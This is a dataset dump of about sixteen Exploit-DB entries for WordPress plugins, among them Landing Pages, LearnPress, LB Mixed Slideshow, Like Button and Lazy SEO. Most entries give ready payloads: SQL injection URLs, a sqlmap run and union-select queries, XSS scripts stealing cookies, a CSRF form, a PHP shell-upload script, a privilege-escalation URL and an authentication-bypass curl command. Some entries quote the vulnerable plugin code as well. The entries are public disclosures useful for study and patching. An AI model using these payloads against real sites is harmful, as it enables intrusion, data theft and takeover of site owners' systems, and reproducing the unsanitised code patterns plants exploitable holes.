deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37108
Description: WordPress Plugin Landing Pages 1.8.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-05-26
Author: Adrián M. F.

Exploit:
# Title: Multiple vulnerabilities in WordPress plugin "WordPress Landing Pages"
# Author: Adrián M. F. - adrimf85[at]gmail[dot]com
# Date: 2015-05-25
# Vendor Homepage: https://wordpress.org/plugins/landing-pages/
# Active installs: 20,000+
# Vulnerable version: 1.8.4
# Fixed version: 1.8.5
# CVE: CVE-2015-4064, CVE-2015-4065 

 Vulnerabilities (2)
=====================

(1) Authenticated SQLi [CWE-89] (CVE-2015-4064)
-----------------------------------------------

* CODE:
modules/module.ab-testing.php:100
+++++++++++++++++++++++++++++++++++++++++
$wpdb->query("
    SELECT `meta_key`, `meta_value`
    FROM $wpdb->postmeta
    WHERE `post_id` = ".$_GET['post']."
");
+++++++++++++++++++++++++++++++++++++++++

* POC:
http://[domain]/wp-admin/post.php?post=306[SQLi]&action=edit&lp-variation-id=1&ab-action=delete-variation

SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/post.php?post=306&action=edit&lp-variation-id=0&ab-action=delete-variation" -p post
[............]
GET parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 86 HTTP(s) requests:
---
Parameter: post (GET)
   Type: AND/OR time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
   Payload: post=306 AND (SELECT * FROM (SELECT(SLEEP(10)))sCKL)&action=edit&lp-variation-id=0&ab-action=delete-variation
---
[13:35:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++


(2) Authenticated XSS [CWE-79] (CVE-2015-4065)
----------------------------------------------

* CODE:
shared/shortcodes/inbound-shortcodes.php:761
+++++++++++++++++++++++++++++++++++++++++
<iframe src='<?php echo INBOUDNOW_SHARED_URLPATH . 'shortcodes/'; ?>preview.php?sc=&post=<?php echo $_GET['post']; ?>' width="285" scrollbar='true' frameborder="0" id="inbound-shortcodes-preview"></iframe>
+++++++++++++++++++++++++++++++++++++++++


* POC:
http://[domain]/wp-admin/post-new.php?post_type=inbound-forms&post='></iframe><script>alert(String.fromCharCode(88, 83, 83))</script>


 Timeline
==========
2015-05-09: Discovered vulnerability.
2015-05-20: Vendor notification.
2015-05-20: Vendor response.
2015-05-22: Vendor fix.
2015-05-25: Public disclosure.
Exploit-DB #36326
Description: WordPress Plugin Lanoba Social 1.0 - 'action' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-21
Author: Amir

Exploit:
source: https://www.securityfocus.com/bid/50746/info

Lanoba Social Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Lanoba Social Plugin 1.0 is vulnerable; other versions may also be affected.

UPDATE (Nov 28, 2011): The vendor refutes this issue claiming they are not able to replicate the problem, and all inputs are sanitized. This BID will be updated, and possibly retired pending further information. 

http://www.example.com/[path]/wp-content/plugins/lanoba-social-plugin/index.php?action=[xss]
Exploit-DB #40070
Description: WordPress Plugin Lazy Content Slider 3.4 - Cross-Site Request Forgery (Add Catetory)
Type: webapps
Platform: php
Date: 2016-07-08
Author: Persian Hack Team

Exploit:
######################
# Exploit Title : WordPress Lazy content Slider Plugin - CSRF Vulnerability
# Exploit Author : Persian Hack Team
# Vendor Homepage : https://wordpress.org/support/view/plugin-reviews/lazy-content-slider
# Category: [ Webapps ]
# Tested on: [ Win ]
# Version: 3.4
# Date: 2016/07/08
######################
#
# PoC:
# The vulnerable page is
# /wp-content/plugins/lazy-content-slider/lzcs_admin.php
# The Code for CSRF.html is

<html>
<form action="http://localhost/wp/wp-admin/admin.php?page=lazy-content-slider%2Flzcs.php" method="POST">
<input name="lzcs" type="text" value="lzcs">
<input name="lzcs_color" type="text" value="dark">
<input type="text" name="lzcs_count" value="5">
<input type="submit" value="go!!">
</form>
</html>

#
######################
# Discovered by :  Mojtaba MobhaM 
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R And All Persian Hack Team Members
# Homepage : http://persian-team.ir
######################
Exploit-DB #28452
Description: WordPress Plugin Lazy SEO 1.1.9 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-09-22
Author: Ashiyane Digital Security Team

Exploit:
#######################################################################
# Exploit Title :  Wordpress Lazy SEO plugin Shell Upload Vulnerability
#
# Exploit Author : Ashiyane Digital Security Team
#
# Google Dork: : inurl:/wp-content/plugins/lazy-seo/
#
# Date: 2013/09/21
#
# Vendor Homepage : http://wordpress.org/plugins/lazy-seo
#
# Software Link : http://downloads.wordpress.org/plugin/lazy-seo.1.1.9.zip
#
# Version : 1.1.9
#
# Tested on: Windows
#
##############
#
#Location: Site/wp-content/plugins/lazy-seo/lazyseo.php
#
##############
#1.Go to address : Site/wp-content/plugins/lazy-seo/lazyseo.php
#2.Click on Browse...
#3.Select Shell Code
#3.Complete the fields
#4.Press Enter
#5.Shell Address : wp-content/plugins/lazy-seo/Shell.php
##############
#
# Discovered By : ACC3SS
#
##############
Exploit-DB #35435
Description: WordPress Plugin Lazyest Gallery 1.0.26 - 'image' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46823/info

The Lazyest Gallery WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Lazyest Gallery WordPress Plugin 1.0.26 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/lazyest-gallery/lazyest-popup.php?image=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #37418
Description: WordPress Plugin LB Mixed Slideshow - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-18
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54057/info

LB Mixed Slideshow plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

LB Mixed Slideshow 1.0 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$uploadfile="lo.php.gif";
 
$ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/lb-mixed-slideshow/libs/uploadify/upload.php?element_name=images&gid=1");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('images'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.example.com/wordpress/wp-content/plugins/lb-mixed-slideshow/gallery/1/lo.php.gif

lo.php.gif
<?php
phpinfo();
?>
Exploit-DB #39269
Description: WordPress Plugin Lead Octopus Power - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-28
Author: Amirh03in

Exploit:
source: https://www.securityfocus.com/bid/68934/info

The Lead Octopus Power plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/Lead-Octopus-Power/lib/optin/optin_page.php?id=[SQL]
Exploit-DB #37191
Description: WordPress Plugin Leaflet Maps Marker 0.0.1 - 'leaflet_layer.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53526/info

The Leaflet plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Leaflet 0.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=leaflet_layer&amp;id=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #37192
Description: WordPress Plugin Leaflet Maps Marker 0.0.1 - 'leaflet_marker.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53526/info
 
The Leaflet plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Leaflet 0.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=leaflet_marker&amp;id=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;
Exploit-DB #37190
Description: WordPress Plugin LeagueManager 3.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53525/info

LeagueManager plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LeagueManager 3.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=leaguemanager&amp;subpage=show-league&amp;league_id=1&amp;group=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;

http://www.example.com/wp-admin/admin.php?page=leaguemanager&amp;subpage=team&amp;edit=1&amp;season=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #43901
Description: WordPress Plugin Learning Management System - 'course_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-01-26
Author: Esecurity.ir

Exploit:
# Exploit Title: Good LMS - Learning Management System WP Plugin SQL 
Injection
# Date: 2018-01-24
# Exploit Author: Esecurity.ir
# Exploit Author Web Site: http://esecurity.ir
# Special Thanks : Meisam Monsef [meisamrce@gmail.com] - Telegram ID : 
@meisamrce
# Vendor Homepage: https://goodlayers.com/
# Version: All Version

Exploit :

	1 - First enter the link below and create an account
	http://target.com/?register=1
	2 - the exploit
	http://target.com/author/[your-username]/?type=scoring-status-student&course_id=-999999+[SQL+Command]%23
	http://target.com/author/[your-username]/?type=scoring-status-student&course_id=-999999+union+select+1,2,3,user()%23
Exploit-DB #50137
Description: WordPress Plugin LearnPress 3.2.6.7 - 'current_items' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-07-19
Author: nhattruong

Exploit:
# Exploit Title: WordPress Plugin LearnPress 3.2.6.7 - 'current_items' SQL Injection (Authenticated)
# Date: 07-17-2021
# Exploit Author: nhattruong or nhattruong.blog
# Vendor Homepage: https://thimpress.com/learnpress/
# Software Link: https://wordpress.org/plugins/learnpress/
# Version: < 3.2.6.8
# References link: https://wpscan.com/vulnerability/10208
# CVE: CVE-2020-6010

POC:
1. Go to url http://<host>/wp-admin
2. Login with a cred
3. Execute the payload


POST /wordpress/wp-admin/post-new.php?post_type=lp_order HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/plain, */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post-new.php?post_type=lp_order
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 128
Origin: http://localhost
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=test%7C[PII_REDACTED]%7Ch5yJTmZF2VUp6nuZHvt3WpWHJOGpYRUwaDfRNLd8N3x%7Cf0e96afd20e39e4531756b321160a4929f82f20a3fed8d3c3b682e0ece232e08; wordpress_test_cookie=WP+Cookie+check; wp_learn_press_session_bbfa5b726c6b7a9cf3cda9370be3ee91=80e1cb27266ae862f9e71f90a987f260%7C%7C[PII_REDACTED]%7C%7Cbd6b88d1ae5fd4354f09534ad4971bbc; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=test%7C[PII_REDACTED]%7Ch5yJTmZF2VUp6nuZHvt3WpWHJOGpYRUwaDfRNLd8N3x%7Ce1092ef2869397bd9701ca7f1c6d0399c89459f5221db89c48a53b39b3e8cc2f; wp-settings-time-3=[PII_REDACTED]

type=lp_course&context=order-items&context_id=32&term=+test&paged=1&lp-ajax=modal_search_items&current_items[]=1 or sleep(1)-- -

# Modify current_items[] as you want
Exploit-DB #50138
Description: WordPress Plugin LearnPress 3.2.6.8 - Privilege Escalation
Type: webapps
Platform: php
Date: 2021-07-19
Author: nhattruong

Exploit:
# Exploit Title: WordPress Plugin LearnPress 3.2.6.8 - Privilege Escalation
# Date: 07-17-2021
# Exploit Author: nhattruong or nhattruong.blog
# Vendor Homepage: https://thimpress.com/learnpress/
# Software Link: https://wordpress.org/plugins/learnpress/
# Version: < 3.2.6.9
# References link: https://wpscan.com/vulnerability/22b2cbaa-9173-458a-bc12-85e7c96961cd
# CVE: CVE-2020-11511

POC:
1. Find out your user id
2. Login with your cred
3. Execute the payload


http://<host>/wp-admin/?action=accept-to-be-teacher&user_id=<your_id>

# Done!
Exploit-DB #49912
Description: WordPress Plugin LifterLMS 4.21.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-05-28
Author: Captain_hook

Exploit:
# Exploit Title: WordPress Plugin LifterLMS 4.21.0 - Stored Cross-Site Scripting (XSS) 
# Date: 2021-05-10
# Exploit Author: Captain_hook
# Vendor Homepage: https://lifterlms.com/
# Software Link: https://github.com/gocodebox/lifterlms/releases/tag/4.21.0
# Version: LifterLMS < 4.21.1
# Tested on: ANY
# CVE : CVE-2021-24308

#Summary:

The 'State' field of the Edit profile page of the LMS by LifterLMS â€“ Online Course, Membership & Learning Management System Plugin for WordPress plugin before 4.21.1 is not properly sanitised when output in the About section of the profile page, leading to a stored Cross-Site Scripting issue. This could allow low privilege users (such as students) to elevate their privilege via an XSS attack when an admin will view their profile.

#Proof_of_Concept:

1- As a Lowest Privilege user go to the edit account page of the LMS
(e.g https://example.com/my-courses/edit-account/)

2- Put Your XSS payload in State parameter and save your edits, such
as "><script>alert(/XSS/)</script>

3- The XSS will be stored and triggered in the about section of the profile: (e.g  https://example.com/directory/[user_name]/) (Note): The XSS will also be triggered in the admin dashboard when viewing the user details, for example https://example.com/wp-admin/admin.php?page=llms-reporting&tab=students&stab=information&student_id=2

Refernces:

https://github.com/gocodebox/lifterlms/releases/tag/4.21.0
Exploit-DB #47078
Description: WordPress Plugin Like Button 1.6.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2019-07-08
Author: Benjamin Lim

Exploit:
Exploit Title: WP Like Button 1.6.0 - Auth Bypass
Date: 05-Jul-19
Exploit Author: Benjamin Lim
Vendor Homepage: http://www.crudlab.com
Software Link: https://wordpress.org/plugins/wp-like-button/
Version: 1.6.0
CVE : CVE-2019-13344

1. Product & Service Introduction:
WP Like button allows you to add Facebook like button on your wordpress
blog. You can also add Share button along with Like button or can add
recommend button. As of now, the plugin has been downloaded 129,089 times
and has 10,000+ active installs.

2. Technical Details & Description:
Authentication Bypass vulnerability in the WP Like Button (Free) plugin
version 1.6.0 allows unauthenticated attackers to change the settings of
the plugin. The contains() function in wp_like_button.php did not check if
the current request is made by an authorized user, thus allowing any
unauthenticated user to successfully update the settings of the plugin.

3. Proof of Concept (PoC):
For example, the curl command below allows an attacker to change the
each_page_url parameter to https://hijack.com. This allows the attacker to
hijack Facebook likes.

curl -k -i --raw -X POST -d
"page=facebook-like-button&site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&display[]=1&display[]=2&display[]=4&display[]=16&mobile=1&fb_app_id=&fb_app_admin=&kd=0&fblb_default_upload_image=&code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&beforeafter=before&eachpage=url&each_page_url=
https://hijack.com&language=en_US&width=65&position=center&layout=box_count&action=like&color=light&btn_size=small&faces=1&share=1&update_fblb="
"https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&edit=1"
-H "Content-Type: application/x-www-form-urlencoded"

4. Mitigation
No update has been released by the vendor. Users are advised to switch to a
different plugin.

5. Disclosure Timeline
2019/06/24 Vendor contacted regarding vulnerability in v1.5.0 (crudlab@gmail.com)
2019/06/30 Second email sent to vendor (crudlab@gmail.com)
2019/07/02 Vendor released v1.6.0 update. Vulnerability still exists.
Vendor did not acknowledge any emails.
2018/07/03 Third email sent to vendor's billing email domain (info@purelogics.net)
2018/07/05 Public disclosure

6. Credits & Authors:
Benjamin Lim - [https://limbenjamin.com]
Exploit-DB #34553
Description: WordPress Plugin Like Dislike Counter 1.2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2014-09-07
Author: Att4ck3r.ir

Exploit:
#################################################################################################
#
# Title                : Wordpress Like Dislike Counter Plugin SQL 
Injection Vulnerability
# Risk                 : High+/Critical
# Exploit Author       : XroGuE
# Google Dork          : 
inurl:plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php 
  AND  plugins/pro-like-dislike-counter/ldc-ajax-counter.php
# Plugin Version       : 1.2.3
# Plugin Name          : Like Dislike Counter
# Plugin Download Link : 
http://downloads.wordpress.org/plugin/like-dislike-counter-for-posts-pages-and-comments.zip
# Vendor Home          : www.wpfruits.com
# Date                 : 2014/09/05
# Tested in            : Win7 - Linux
#
##################################################################################################
# This Vulnerability Available in Both Version of This Plugin (Free & 
Pro Version).
#
# PoC :
#
# 
http://localhost/wp/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php
#
# Vulnerable Page : ajax_counter.php
#
#	if (!$changedDir)$changedDir = 
preg_replace('|wp-content.*$|','',__FILE__);
#	include_once($changedDir.'/wp-config.php');
#	if(isset($_COOKIE['ul_post_cnt']))
#	{
#	$posts_present=$_COOKIE['ul_post_cnt'];
#	}
#	else
#	{
#	$posts_present=array();
#	}
#   // Here ------------------------> Inputs Not Filtered ! :|
#	$post_id=$_POST['post_id'];
#	$up_type=$_POST['up_type'];
#   // Here <------------------------
#	if($up_type=='c_like'||$up_type=='c_dislike')
#	{
#	$for_com='c_';
#	}
#	else
#	{
#	$for_com='';
#	}
#	if(!in_array($for_com.$post_id,$posts_present))
#	{
#	update_post_ul_meta($post_id,$up_type);
#	}
#	echo get_post_ul_meta($post_id,$up_type);
#
##################################################################################################
# POST 
wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php 
HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) 
Gecko/20100101 Firefox/31.0 AlexaToolbar/alxf-2.21
# Accept: */*
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Content-Type: application/x-www-form-urlencoded; charset=UTF-8
# X-Requested-With: XMLHttpRequest
# Referer: http://localhost/wp/
# Content-Length: 24
# Connection: keep-alive
# Pragma: no-cache
# Cache-Control: no-cache
# post_id=1&up_type=like
##################################################################################################
#
# Founded By : XroGuE
# Website    : http://www.Att4ck3r.ir
# E-Mail     : info[at]att4ck3r[Dot]ir
#
##################################################################################################